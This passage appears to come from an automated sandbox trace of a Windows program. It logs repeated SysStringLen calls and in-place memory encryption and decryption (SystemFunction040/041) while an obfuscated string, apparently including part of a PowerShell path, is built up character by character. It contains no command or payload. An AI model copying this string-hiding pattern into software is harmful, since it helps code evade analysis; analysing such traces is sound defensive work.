(param_1="sn+7Y5eZWH6P4nZ2a0䆠轵⧙") returned 0x18 [0127.419] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\x7916\x8b4f\xd0b7\x4b1\x9751\x886\xf396\xb0ee") returned 0x18 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\x7916\x8b4f\xd0b7\x4b1\x9751\x886\xf396\xb0ee") returned 0x18 [0127.419] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0P轵⧙") returned 0x18 [0127.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\x7dd4\xe12f\xae7f\x4a8a\xc647\x7fc1\x5c8c\xfed9") returned 0x18 [0127.420] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\x7dd4\xe12f\xae7f\x4a8a\xc647\x7fc1\x5c8c\xfed9") returned 0x18 [0127.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX轵⧙") returned 0x18 [0127.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xb408\x81e2\x9a52\x197e\xa9e4\xf60b\xede5\x8f91") returned 0x18 [0127.420] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xb408\x81e2\x9a52\x197e\xa9e4\xf60b\xede5\x8f91") returned 0x18 [0127.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4轵⧙") returned 0x18 [0127.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xced8\xc2d4\xe28c\x3d20\xe050\x9d51\xdf4b\x26fd") returned 0x18 [0127.420] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xced8\xc2d4\xe28c\x3d20\xe050\x9d51\xdf4b\x26fd") returned 0x18 [0127.420] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.420] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4n⧙") returned 0x18 [0127.420] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xfe0\x2d2b\xb528\xf284\xc750\x63df\x1085\x4dba") returned 0x18 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xfe0\x2d2b\xb528\xf284\xc750\x63df\x1085\x4dba") returned 0x18 [0127.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.421] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk⧙") returned 0x18 [0127.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xb736\x66fc\xfc5\x62c3\x4f3\x9fec\xda2\x235a") returned 0x18 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xb736\x66fc\xfc5\x62c3\x4f3\x9fec\xda2\x235a") returned 0x18 [0127.421] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.421] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5") returned 0x18 [0127.421] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566") returned 0x18 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566") returned 0x18 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566") returned 0x18 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566") returned 0x20 [0127.421] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.421] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5w劼퉞蹖踴㖵") returned 0x20 [0127.421] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.421] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x76dc\xf3f4\x2c50\x98cb\x10f4\x1cc5\x52c\xe8e0") returned 0x20 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x76dc\xf3f4\x2c50\x98cb\x10f4\x1cc5\x52c\xe8e0") returned 0x20 [0127.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wE퉞蹖踴㖵") returned 0x20 [0127.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x376a\x28d8\x96ce\x319f\x7f26\x93bf\x5437\xe940") returned 0x20 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x376a\x28d8\x96ce\x319f\x7f26\x93bf\x5437\xe940") returned 0x20 [0127.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wER퉞蹖踴㖵") returned 0x20 [0127.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\xdad0\xaf20\x6112\x36dd\xbd26\x23ca\x6b6f\x9f72") returned 0x20 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\xdad0\xaf20\x6112\x36dd\xbd26\x23ca\x6b6f\x9f72") returned 0x20 [0127.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJ蹖踴㖵") returned 0x20 [0127.422] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\xb527\xe459\x6ef4\xc21f\x2777\x3981\x7816\x9ad6") returned 0x20 [0127.422] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\xb527\xe459\x6ef4\xc21f\x2777\x3981\x7816\x9ad6") returned 0x20 [0127.422] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.422] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJq蹖踴㖵") returned 0x20 [0127.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x406\x34ce\x3758\x5367\xf2af\xde48\x3193\x7ab8") returned 0x20 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x406\x34ce\x3758\x5367\xf2af\xde48\x3193\x7ab8") returned 0x20 [0127.423] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqj踴㖵") returned 0x20 [0127.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x3d9f\x78ad\x6dad\x6ba4\xe7fc\x63d8\x1c3d\x75ff") returned 0x20 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x3d9f\x78ad\x6dad\x6ba4\xe7fc\x63d8\x1c3d\x75ff") returned 0x20 [0127.423] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjY㖵") returned 0x20 [0127.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\xbb74\xc10e\x763e\xe3f5\xd120\x2050\xa1ec\x64f0") returned 0x20 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\xbb74\xc10e\x763e\xe3f5\xd120\x2050\xa1ec\x64f0") returned 0x20 [0127.423] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYF") returned 0x20 [0127.423] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50") returned 0x20 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50") returned 0x20 [0127.423] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50") returned 0x20 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0127.424] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.424] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyﾖ㍋뷇렟﬷饜흡") returned 0x28 [0127.424] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x3ef7\xb40d\x9760\x461a\xa76\x38b1\x299\xcbb") returned 0x28 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x3ef7\xb40d\x9760\x461a\xa76\x38b1\x299\xcbb") returned 0x28 [0127.424] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.424] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyE㍋뷇렟﬷饜흡") returned 0x28 [0127.424] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x4616\x3a8c\xe4f0\x7a41\x6f29\xdd50\x5166\xf8cd") returned 0x28 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x4616\x3a8c\xe4f0\x7a41\x6f29\xdd50\x5166\xf8cd") returned 0x28 [0127.424] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.424] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyED뷇렟﬷饜흡") returned 0x28 [0127.424] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\xcca1\x987b\x5fc8\xa196\xd7f7\x566e\x16f4\x6160") returned 0x28 [0127.424] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\xcca1\x987b\x5fc8\xa196\xd7f7\x566e\x16f4\x6160") returned 0x28 [0127.424] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.425] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDG렟﬷饜흡") returned 0x28 [0127.425] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.425] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x213f\x1ec5\xe75c\xbb79\xd8b\x5b4e\xc520\xf56f") returned 0x28 [0127.425] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x213f\x1ec5\xe75c\xbb79\xd8b\x5b4e\xc520\xf56f") returned 0x28 [0127.425] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.425] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGo﬷饜흡") returned 0x28 [0127.425] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.425] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\xa9c5\x8856\x99cd\x1e56\x8f2e\x99b4\xcf64\x33f3") returned 0x28 [0127.425] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\xa9c5\x8856\x99cd\x1e56\x8f2e\x99b4\xcf64\x33f3") returned 0x28 [0127.425] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.425] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoq饜흡") returned 0x28 [0127.425] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.425] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\xb2eb\xe243\x451d\xb43d\x2c82\x3f63\xb961\xc59b") returned 0x28 [0127.425] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\xb2eb\xe243\x451d\xb43d\x2c82\x3f63\xb961\xc59b") returned 0x28 [0127.425] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.426] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoqz흡") returned 0x28 [0127.426] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.426] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x897e\xcdeb\xc560\xf59e\xfaad\xd506\x89be\xb0b") returned 0x28 [0127.426] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x897e\xcdeb\xc560\xf59e\xfaad\xd506\x89be\xb0b") returned 0x28 [0127.427] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.427] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoqzU") returned 0x28 [0127.427] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11") returned 0x28 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11") returned 0x28 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11") returned 0x28 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\x4b\x4e\x2d\x33\x51\x78\x59\x65") returned 0x30 [0127.427] SystemFunction041 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.427] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoqzUc봶唢㾎㞤닶") returned 0x30 [0127.427] SystemFunction040 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\xdcc\x3dd8\x55c4\x97fc\x27a0\xd958\xbd6c\x492d") returned 0x30 [0127.427] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\xdcc\x3dd8\x55c4\x97fc\x27a0\xd958\xbd6c\x492d") returned 0x30 [0127.427] SystemFunction041 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3164c) returned 0x0 [0127.427] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a0PX4nk5wERJqjYFyEDGoqzUct봶唢㾎㞤닶") returned 0x30 [0127.427] SystemFunction040 (in: Memory=0x8e3164c, MemorySize=0x60, OptionFlags=0x0 | out: 